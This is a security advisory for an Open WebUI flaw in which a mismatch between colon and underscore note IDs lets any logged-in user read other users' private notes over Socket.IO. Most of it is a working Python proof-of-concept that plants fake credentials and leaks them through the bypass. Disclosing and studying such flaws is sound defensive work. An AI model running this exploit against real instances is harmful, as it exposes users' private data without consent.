CVE-2026-54022: Open WebUI: Any authenticated user can read other users' private notes via Socket.IO

Summary

The ydoc:document:join Socket.IO handler checks note ownership only when the documentid starts with note: (colon). However, the YdocManager storage layer normalizes all document IDs by replacing colons with underscores (documentid.replace(":", "")). An attacker can join a document room using note<id> (underscore) instead of note:<id> (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.

Details

The ydoc:document:join handler in socket/main.py (line 511) only performs authorization for document IDs matching the note: prefix:

python @sio.on("ydoc:document:join") async def ydocdocumentjoin(sid, data): documentid = data["documentid"]

if documentid.startswith("note:"): noteid = documentid.split(":")[1] note = Notes.getnotebyid(noteid) # ... ownership and AccessGrants check ... # Returns early if user doesn't have access

# If documentid does NOT start with "note:", execution continues # with no authorization check at all

await YDOCMANAGER.adduser(documentid=documentid, userid=sid) await sio.enterroom(sid, f"doc{documentid}")

ydoc = Y.Doc() updates = await YDOCMANAGER.getupdates(documentid) for update in updates: ydoc.applyupdate(bytes(update))

stateupdate = ydoc.getupdate() await sio.emit("ydoc:document:state", { "documentid": documentid, "state": list(stateupdate), }, room=sid)

The YdocManager class in socket/utils.py normalizes document IDs in every method by replacing colons with underscores:

python async def getupdates(self, documentid: str) -> List[bytes]: documentid = documentid.replace(":", "") # line 176 # ... returns updates keyed by normalized ID

async def appendtoupdates(self, documentid: str, update: bytes): documentid = documentid.replace(":", "") # line 134 # ... stores update keyed by normalized ID

This means note:abc123 and noteabc123 resolve to the same storage key (noteabc123). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the startswith("note:") authorization check but retrieves the same data from YdocManager.

PoC

python #!/usr/bin/env python3 """ uv run --no-project --with requests --with "python-socketio[asyncioclient]" --with aiohttp --with pycrdt finding15yjsnotedisclosure.py --base-url BASEURL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS

Finding #15 — Any authenticated user can read other users' private notes via Socket.IO

SUMMARY: The ydoc:document:join Socket.IO handler only checks authorization for document IDs starting with "note:" (colon). However, YdocManager normalizes document IDs by replacing colons with underscores internally. An attacker can join a room using "note<id>" (underscore) to bypass the auth check, while still accessing the same underlying Yjs document as "note:<id>". Then ydoc:document:state returns the full document content.

VULNERABLE CODE: backend/openwebui/socket/main.py, ydoc:document:join: if documentid.startswith("note:"): # permission check only for colon-prefix # "note<id>" skips this check entirely

backend/openwebui/socket/ydoc.py, YdocManager: key = documentid.replace(":", "") # normalizes to same storage key

IMPACT: Any authenticated user can read the full content of any other user's notes by exploiting the namespace collision between "note:" and "note" prefixes.

REPRODUCTION: 1. Victim creates a private note with sensitive content. 2. Attacker connects via Socket.IO and authenticates. 3. Attacker joins room with documentid "note<victimnoteid>" (underscore). 4. Attacker requests ydoc:document:state to get the full note content.

REQUIREMENTS: - Running Open WebUI instance - A victim note with content - Attacker user (any authenticated user) """

import argparse import asyncio import sys import requests import socketio

async def victiminitializenote(base, victimtoken, noteid): """Simulate victim opening the note in the UI to initialize the Yjs document.""" sio = socketio.AsyncClient()

await sio.connect( base, socketiopath="/ws/socket.io", headers={"Authorization": f"Bearer {victimtoken}"}, transports=["websocket"], )

# Join using the proper note:id format (passes auth check since victim owns it) docid = f"note:{noteid}" print(f" Joining as victim with documentid: {docid}")

await sio.emit("ydoc:document:join", { "documentid": docid, "userid": "victim", "username": "Victim", }) await asyncio.sleep(1)

# Send a Yjs update with the note content # Create a simple Yjs document with text content try: import pycrdt as Y ydoc = Y.Doc() ytext = ydoc.get("default", type=Y.Text) with ydoc.transaction(): ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rdpr0d2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone." update = ydoc.getupdate()

await sio.emit("ydoc:document:update", { "documentid": docid, "update": list(update), }) print(f" Sent Yjs update with note content ({len(update)} bytes)") except ImportError: # If pycrdt not available, try y-py try: import ypy as Y ydoc = Y.YDoc() ytext = ydoc.gettext("default") with ydoc.begintransaction() as txn: ytext.extend(txn, "# Private Notes\n\nPassword for production DB: p@ssw0rdpr0d2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone.") update = txn.getupdate()

await sio.emit("ydoc:document:update", { "documentid": docid, "update": list(update), }) print(f" Sent Yjs update with note content ({len(update)} bytes)") except ImportError: print(" WARNING: Neither pycrdt nor y-py available, sending raw text marker") # Send a minimal marker that we can detect rawupdate = list(b"\x01\x00\x00\x00\x00\x00\x00SECRETNOTECONTENTMARKER") await sio.emit("ydoc:document:update", { "documentid": docid, "update": rawupdate, })

await asyncio.sleep(1) await sio.disconnect() print(f" Victim disconnected")

async def exploit(base, attackertoken, victimnoteid): sio = socketio.AsyncClient() result = {"state": None, "error": None, "joined": False}

@sio.on("ydoc:document:state") async def onstate(data): result["state"] = data print(f" [!] Received ydoc:document:state event!") print(f" documentid: {data.get('documentid', '?')}") state = data.get("state", []) print(f" State size: {len(state)} bytes")

@sio.on("error") async def onerror(data): result["error"] = data print(f" [!] Error event: {data}")

@sio.on("") async def catchall(event, data): if event not in ("ydoc:document:state", "error"): print(f" [debug] Event: {event} Data: {str(data)[:200]}")

# Connect with auth token print(f"[] Connecting as attacker to Socket.IO...") await sio.connect( base, socketiopath="/ws/socket.io", auth={"token": attackertoken}, transports=["websocket"], )

# Join with "note" prefix (underscore — bypasses auth) bypassdocid = f"note{victimnoteid}" print(f"\n[] Step 3: Joining room with bypassed documentid: {bypassdocid}") print(f" (using underscore instead of colon to skip auth check)")

await sio.emit("ydoc:document:join", { "documentid": bypassdocid, "userid": "attacker", "username": "Attacker", })

result["joined"] = True

# Wait for state response (from join handler's emit) for in range(20): await asyncio.sleep(0.5) if result["state"]: break

await sio.disconnect() return result

def main(): parser = argparse.ArgumentParser(description="Finding #15: Yjs note disclosure via namespace collision") parser.addargument("--base-url", required=True) parser.addargument("--attacker-email", required=True) parser.addargument("--attacker-password", required=True) parser.addargument("--victim-email", required=True) parser.addargument("--victim-password", required=True) args = parser.parseargs()

base = args.baseurl.rstrip("/")

# ── Step 1: Login as victim and find their note ── print("[] Authenticating as victim...") r = requests.post(f"{base}/api/v1/auths/signin", json={"email": args.victimemail, "password": args.victimpassword}) if not r.ok: print(f"[-] Victim login failed: {r.statuscode}") sys.exit(1) victimtoken = r.json()["token"] victimid = r.json()["id"] print(f"[+] Logged in as victim (id={victimid})")

r = requests.get(f"{base}/api/v1/notes/", headers={"Authorization": f"Bearer {victimtoken}"}) if not r.ok: print(f"[-] Failed to list victim notes: {r.statuscode}") sys.exit(1) notes = r.json() if isinstance(notes, dict): notes = notes.get("items", notes.get("data", [])) if not notes: print("[-] No victim notes found") sys.exit(1) victimnote = notes[0] victimnoteid = victimnote["id"] print(f"[+] Victim's note: {victimnote.get('title', '?')} (id={victimnoteid})")

# ── Step 2: Login as attacker ── print(f"\n[] Authenticating as attacker...") r = requests.post(f"{base}/api/v1/auths/signin", json={"email": args.attackeremail, "password": args.attackerpassword}) if not r.ok: print(f"[-] Attacker login failed: {r.statuscode}") sys.exit(1) attackertoken = r.json()["token"] attackerid = r.json()["id"] print(f"[+] Logged in as attacker (id={attackerid})")

# ── Step 3: Confirm attacker CANNOT read victim's note via API ── print(f"\n[] Step 1: Confirming attacker cannot read victim's note via API...") r = requests.get(f"{base}/api/v1/notes/{victimnoteid}", headers={"Authorization": f"Bearer {attackertoken}"}) if r.statuscode in (401, 403, 404): print(f"[+] Access correctly DENIED via /api/v1/notes/{victimnoteid} (HTTP {r.statuscode})") else: print(f"[!] Unexpected: attacker can read note (status {r.statuscode})")

# ── Step 4 & 5: Victim opens note, attacker reads it concurrently ── async def combinedexploit(): # Victim opens note and stays connected print(f"\n[] Step 2: Victim opens note (stays connected)...") victimsio = socketio.AsyncClient() await victimsio.connect( base, socketiopath="/ws/socket.io", auth={"token": victimtoken}, transports=["websocket"], ) docid = f"note:{victimnoteid}" await victimsio.emit("ydoc:document:join", { "documentid": docid, "userid": "victim", "username": "Victim", }) await asyncio.sleep(1)

# Send Yjs update with note content try: import pycrdt as Y ydoc = Y.Doc() ytext = ydoc.get("default", type=Y.Text) with ydoc.transaction(): ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rdpr0d2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone." update = ydoc.getupdate() await victimsio.emit("ydoc:document:update", { "documentid": docid, "update": list(update), }) print(f" Sent Yjs update ({len(update)} bytes)") except Exception as e: print(f" WARNING: Could not create Yjs update: {e}")

await asyncio.sleep(1)

# Now attacker joins while victim is still connected result = await exploit(base, attackertoken, victimnoteid)

# Clean up victim connection await victimsio.disconnect() return result

result = asyncio.run(combinedexploit())

if not result["joined"]: print(f"\n[-] Failed to join document room") sys.exit(1)

if result["state"]: statedata = result["state"] statebytes = bytes(statedata.get("state", []))

# Try to extract readable text from the Yjs state # Yjs binary format contains the text as embedded strings textcontent = "" try: # Search for readable ASCII strings in the binary data currentstr = "" for b in statebytes: if 32 <= b < 127: currentstr += chr(b) else: if len(currentstr) > 5: textcontent += currentstr + " " currentstr = "" if len(currentstr) > 5: textcontent += currentstr except Exception: pass

print(f"\n[+] Extracted text from Yjs state:") print(f" {textcontent[:500]}")

# Check for sensitive markers sensitivemarkers = ["p@ssw0rd", "SuperSecret", "Private Notes", "production DB", "AWS root"] found = [m for m in sensitivemarkers if m.lower() in textcontent.lower()]

if found: print(f"\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!") print(f" Sensitive markers found: {found}") print(f" The attacker joined room 'docnote{victimnoteid}' (underscore)") print(f" which bypasses the auth check (only checks 'note:' colon prefix)") print(f" but accesses the same Yjs document due to normalization.") sys.exit(0) elif textcontent.strip(): print(f"\n[+] SUCCESS: Note content retrieved (markers may differ)") print(f" Non-empty Yjs state was returned for victim's note.") sys.exit(0) else: print(f"\n[] Yjs state was returned but could not extract readable text.") print(f" Raw state size: {len(statebytes)} bytes") if len(statebytes) > 10: print(f" First 50 bytes: {list(statebytes[:50])}") print(f"[+] SUCCESS: Non-trivial document state returned") sys.exit(0) sys.exit(1) else: print(f"\n[-] No document state received") print(f" The Yjs document may not exist in storage yet.") print(f" Notes must be opened in the UI to create a Yjs document.") sys.exit(1)

if name == "main": main()

Impact

Any authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.